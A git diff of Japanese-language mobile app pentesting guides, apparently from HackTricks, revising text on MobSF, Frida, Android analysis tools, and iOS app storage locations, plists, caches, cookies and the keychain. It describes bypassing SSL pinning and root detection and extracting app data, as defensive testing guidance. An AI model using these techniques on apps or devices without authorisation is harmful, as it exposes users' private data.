- **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは、撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには、"**Exported Activity Tester**"を押す必要があります。
- **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは、撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
- **HTTPSトラフィックをキャプチャ**
- **Frida**を使用して**ランタイム**の**情報**を取得
@ -543,27 +549,27 @@ Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し
**Frida**
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトも使用します。\
MobSFは、エクスポートされたアクティビティを**呼び出し**、それらの**スクリーンショット**を取得し、レポート用に**保存**することもできます。
MobSFはまた**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
MobSFは、独自の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただし、**それらを選択し**、"**Load**"を押し、"**Start Instrumentation**"を押す必要があります(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。
**動的テストを開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
MobSFはまた、独自の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。さらに、**いくつかの事前に書かれたスクリプト**を読み込むこともできます(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押します(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。
![](<../../images/image (419).png>)
さらに、いくつかの補助的なFrida機能があります
- **読み込まれたクラスを列挙**すべての読み込まれたクラスを表示します
- **文字列をキャプチャ**アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです)
- **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と、結果がTrueかFalseかを表示します。
- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。
- **クラスパターンを検索**:パターンでクラスを検索します
- **クラスメソッドをトレース****クラス全体をトレース**します(そのクラスのすべてのメソッドの入力と出力を確認します。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
- **読み込まれたクラスを列挙**: すべての読み込まれたクラスを表示します
- **文字列をキャプチャ**: アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです)
- **文字列比較をキャプチャ**: 非常に役立つ可能性があります。**比較されている2つの文字列**と、結果がTrueかFalseかを**表示**します。
- **クラスメソッドを列挙**: クラス名(例: "java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。
- **クラスパターンを検索**: パターンでクラスを検索
- **クラスメソッドをトレース**: **クラス全体をトレース**そのクラスのすべてのメソッドの入力と出力を確認。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。
**Shell**
MobSFは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェルも提供します。いくつかの興味深いコマンド:
Mobsfは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェルも提供します。いくつかの興味深いコマンド:
```bash
help
shell ls
@ -574,10 +580,10 @@ receivers
```
**HTTPツール**
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
HTTPトラフィックがキャプチャされると、キャプチャされたトラフィックの醜いビューが「**HTTP(S) Traffic**」の下部に表示されるか、「**Start HTTPTools**」の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> 「**Send to Fuzzer**」を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
MobSFで動的分析が終了したら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探します。
MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押して**HTTPリクエストをファズ**し、脆弱性を探します。
> [!TIP]
> MobSFで動的分析を実行した後、プロキシ設定が誤って構成される可能性があり、GUIから修正できなくなることがあります。プロキシ設定を修正するには、次のコマンドを実行します
@ -599,7 +605,7 @@ MobSFで動的分析が終了したら、"**Start Web API Fuzzer**"を押して*
### [Qark](https://github.com/linkedin/qark)
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すために設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための「Proof-of-Concept」デプロイ可能APKおよび**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -619,7 +625,7 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、脆弱性を検出するための一連のルールを適用することによって行われます。
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちのニーズに応じて分析するための独自のルールを作成できます。
@ -641,7 +647,7 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\
[Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -651,9 +657,9 @@ androbugs.exe -f [APK file]
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。
検出は、アプリケーションのDalvikバイトコードの**静的析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
検出は、アプリケーションのDalvikバイトコードの**静的析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します:電話識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -661,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
**MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
以下のことが可能です:
@ -674,7 +680,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### Koodous
マルウェアを検出するのに役立ちます: [https://koodous.com/](https://koodous.com)
マルウェアを検出するのに役立ちます[https://koodous.com/](https://koodous.com)
## コードの難読化/デオブフスケート
@ -682,7 +688,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より): **ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より)**ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。
@ -716,17 +722,17 @@ APKをデオブフスケートするためのステップバイステップガ
APKiDは**APKがどのように作成されたか**に関する情報を提供します。多くの**コンパイラ**、**パッカー**、**難読化ツール**、およびその他の奇妙なものを特定します。これはAndroid用の[_PEiD_](https://www.aldeid.com/wiki/PEiD)です。
### Manual
### マニュアル
[カスタム難読化を逆コンパイルする方法についてのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
[カスタム難読化を逆アセンブルする方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
## Labs
## ラボ
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4bは、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングやマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
AndroL4bは、最新のフレームワーク、チュートリアル、およびリバースエンジニアリングとマルウェア分析のためのさまざまなセキュリティ専門家や研究者からのラボを含む、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンです。
## References
## 参考文献
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) これは素晴らしいリソースのリストです
@ -735,7 +741,7 @@ AndroL4bは、ubuntu-mateに基づいたAndroidセキュリティ仮想マシン
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
## Yet to try
## まだ試していない
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

View File

@ -139,7 +139,7 @@ grep -iER "_vsprintf"
### Listing Installed Apps
インストールされたアプリの**バンドル識別子**を特定するには、コマンド`frida-ps -Uai`を使用してください:
`frida-ps -Uai`コマンドを使用して、インストールされたアプリの**バンドル識別子**を特定します:
```bash
$ frida-ps -Uai
PID Name Identifier
@ -168,17 +168,17 @@ ios-hooking-with-objection.md
- **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれています。
- **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。
- **`Frameworks/`**: このフォルダには、`.dylib`または`.framework`ファイルの形式でアプリケーションのネイティブライブラリが格納されています。
- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
- **`PlugIns/`**: これはアプリケーションの拡張機能を含む場合があり、`.appex`ファイルとして知られていますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプとクリエイターコードを指定するための代替手段です。
- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースも含まれています。
- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドル内のすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。
- **アセット管理**: `Assets.car`ファイルは圧縮を使用してグラフィカルアセットを効率的に管理し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
- **FrameworksとPlugIns**: これらのディレクトリはiOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ`Frameworks/`)を含めたり、アプリの機能を拡張したりすることを可能にします。
- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションの展開を促進します。
- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションのリーチを促進します。
**Info.plist**
**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。
**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。
このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に行うことができますバージョン10.2以降でネイティブに利用可能またはLinux上で`plistutil`を使用します。変換のためのコマンドは次のとおりです:
@ -186,12 +186,12 @@ ios-hooking-with-objection.md
```bash
$ plutil -convert xml1 Info.plist
```
- **Linux**:
- **Linuxの場合**:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**Info.plist**ファイルが明らかにできる膨大な情報の中で、注目すべき項目にはアプリの権限文字列(`UsageDescription`、カスタムURLスキーム`CFBundleURLTypes`、およびApp Transport Securityの設定`NSAppTransportSecurity`)が含まれます。これらの項目は、エクスポート/インポートされたカスタムドキュメントタイプ(`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`)などとともに、ファイルを検査するか、単純な`grep`コマンドを使用することで簡単に見つけることができます
**Info.plist**ファイルが明らかにできる膨大な情報の中で、注目すべき項目にはアプリの権限文字列(`UsageDescription`、カスタムURLスキーム`CFBundleURLTypes`、およびApp Transport Securityの設定`NSAppTransportSecurity`)が含まれます。これらの項目は、エクスポート/インポートされたカスタムドキュメントタイプ(`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`)などの他の項目とともに、ファイルを検査するか、単純な`grep`コマンドを使用することで簡単に見つけることができます
```bash
$ grep -i <keyword> Info.plist
```
@ -204,7 +204,7 @@ iOS環境では、ディレクトリは**システムアプリケーション**
>
> ただし、両方のフォルダ(データフォルダとコンテナフォルダ)には、`MCMetadataIdentifier`キーで両方のファイルをリンクする**`.com.apple.mobile_container_manager.metadata.plist`**ファイルがあります。
ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用例です:
ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用例です
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -215,11 +215,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```
代わりに、アプリ名は `/private/var/containers` 内で `find` コマンドを使用して検索できます:
アプリ名は`find` コマンドを使用して `/private/var/containers` 内で検索することもできます:
```bash
find /private/var/containers -name "Progname*"
```
`ps``lsof`のようなコマンドは、アプリのプロセスを特定し、それぞれオープンファイルをリストするために利用でき、アプリケーションのアクティブなディレクトリパスに関する洞察を提供します:
`ps``lsof`のようなコマンドは、アプリのプロセスを特定し、それぞれオープンファイルをリストするために利用でき、アプリケーションのアクティブなディレクトリパスに関する洞察を提供します:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
@ -227,7 +227,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**バンドルディレクトリ:**
- **AppName.app**
- これはIPAで以前に見たアプリケーションバンドルで、重要なアプリケーションデータ、静的コンテンツ、およびアプリケーションのコンパイル済みバイナリを含ます。
- これはIPAで以前に見たアプリケーションバンドルで、アプリケーションの重要なデータ、静的コンテンツ、およびアプリケーションのコンパイル済みバイナリを含んでいます。
- このディレクトリはユーザーに見えますが、**ユーザーは書き込むことができません**。
- このディレクトリの内容は**バックアップされません**。
- このフォルダの内容は**コード署名を検証するため**に使用されます。
@ -240,7 +240,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- このディレクトリの内容は**バックアップされます**。
- アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
- **Library/**
- **キャッシュ**、**設定**、**クッキー**、およびプロパティリストplist設定ファイルなど、**ユーザー固有でない**すべての**ファイル**を含みます。
- **キャッシュ**、**設定**、**クッキー**、およびプロパティリストplist設定ファイルなど、**ユーザー固有でないすべてのファイル**を含みます。
- iOSアプリは通常`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。
- **Library/Caches/**
- **半永続的なキャッシュファイル**を含みます。
@ -381,11 +381,11 @@ plistファイルにデータを永続化する最も一般的な方法は、**N
**`NSUserDefaults`**を使用して保存された情報を**ダンプ**するには、objectionの`ios nsuserdefaults get`を使用します。
アプリケーションによって使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスし、次のコマンドを実行します:
アプリケーションによって使用されるすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスし、次のコマンドを実行します:
```bash
find ./ -name "*.plist"
```
**XMLまたはバイナリbplist**形式のファイルをXMLに変換するためのさまざまな方法が、オペレーティングシステムに応じて利用可能です。
ファイルを**XMLまたはバイナリbplist**形式からXMLに変換するためのさまざまな方法が、オペレーティングシステムに応じて利用可能です。
**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS10.2以上)に組み込まれているツールで、この目的のために設計されています:
```bash
@ -438,15 +438,15 @@ Yapデータベースはsqliteデータベースであるため、前のセク
### Other SQLite Databases
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を保存しており、暗号化されていない可能性があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。データが保存されているアプリケーションディレクトリに移動してください`/private/var/mobile/Containers/Data/Application/{APPID}`
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を保存しており、暗号化されていない可能性があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。データが保存されているアプリケーションディレクトリに移動します`/private/var/mobile/Containers/Data/Application/{APPID}`
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databases
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、すべての接続されたクライアントにリアルタイムで同期されます。
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、すべての接続されたクライアントにリアルタイムで同期されます。
誤って構成されたFirebaseデータベースを確認する方法は、こちらで確認できます
Firebaseデータベースの設定ミスを確認する方法は、こちらで確認できます:
{{#ref}}
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### Cookies
iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**にアプリのクッキーを保存します。しかし、開発者は時々、**バックアップでアクセス可能なため、**それらを**keychain**に保存することを決定します。
iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**にアプリのクッキーを保存します。しかし、開発者は時々、**バックアップでアクセスできるため、**それらを**keychain**に保存することを決定します。
クッキーファイルを検査するには、[**このpythonスクリプト**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)を使用するか、objectionの**`ios cookies get`**を使用できます。\
**また、objectionを使用して**これらのファイルをJSON形式に変換し、データを検査することもできます。
@ -508,11 +508,11 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
```
### キャッシュ
デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開いて操作できます。これは**通常のSQLiteデータベース**です。
デフォルトでは、NSURLSessionは**Cache.db**データベースにHTTPリクエストやレスポンスなどのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開き、操作できます。これは**通常のSQLiteデータベース**です。
このデータのキャッシングを**無効にすることを推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
このデータのキャッシングを無効にすることを**推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
1. ログアウト後にキャッシュされたレスポンスを削除することを推奨します。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)というメソッドを使用して行うことができます。このメソッドは次のように呼び出すことができます:
1. ログアウト後にキャッシュされたレスポンスを削除することを推奨します。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)メソッドを使用して行うことができます。このメソッドは次のように呼び出すことができます:
`URLCache.shared.removeAllCachedResponses()`
@ -528,9 +528,9 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
### スナップショット
ホームボタンを押すと、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**えて****持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
ホームボタンを押すと、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**えて****持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
iPhoneが脱獄されていない限り、**攻撃者**はこれらのスクリーンショットを見るために**デバイス**に**アクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダーに保存されます信頼されたコンピュータはiOS 7.0以降ファイルシステムにアクセスできません)。
iPhoneが脱獄されていない限り、**攻撃者**はこれらのスクリーンショットを見るために**デバイス**に**アクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダーに保存されます信頼されたコンピュータはiOS 7.0以降からファイルシステムにアクセスできません)。
この悪影響を防ぐ方法の一つは、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に空白の画面を表示するか、機密データを削除することです。
@ -574,7 +574,7 @@ iOSキーチェーンにアクセスし管理するためのツールとして
#### **資格情報の保存**
**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、以下のSwiftコードが使用されます
**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、のSwiftコードが使用されます
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -584,17 +584,17 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
## **カスタムキーボードとキーボードキャッシュ**
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能が拡張されますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ネットワークアクセスを必要とするキーボードについてはユーザーに通知されます。アプリは、機密情報の入力にカスタムキーボードの使用を制限するべきです。
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能が拡張されていますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ネットワークアクセスを必要とするキーボードについてはユーザーに通知されます。アプリは、機密情報の入力に対してカスタムキーボードの使用を制限するべきです。
**セキュリティ推奨事項:**
- セキュリティを強化するために、サードパーティ製キーボードを無効にすることが推奨されます。
- デフォルトのiOSキーボードの自動修正および自動提案機能に注意してください。これにより、`Library/Keyboard/{locale}-dynamic-text.dat` または `/private/var/mobile/Library/Keyboard/dynamic-text.dat` に保存されたキャッシュファイルに機密情報が保存される可能性があります。これらのキャッシュファイルは、機密データのために定期的にチェックする必要があります。キャッシュデータをクリアするために、**設定 > 一般 > リセット > キーボード辞書をリセット** することが推奨されます。
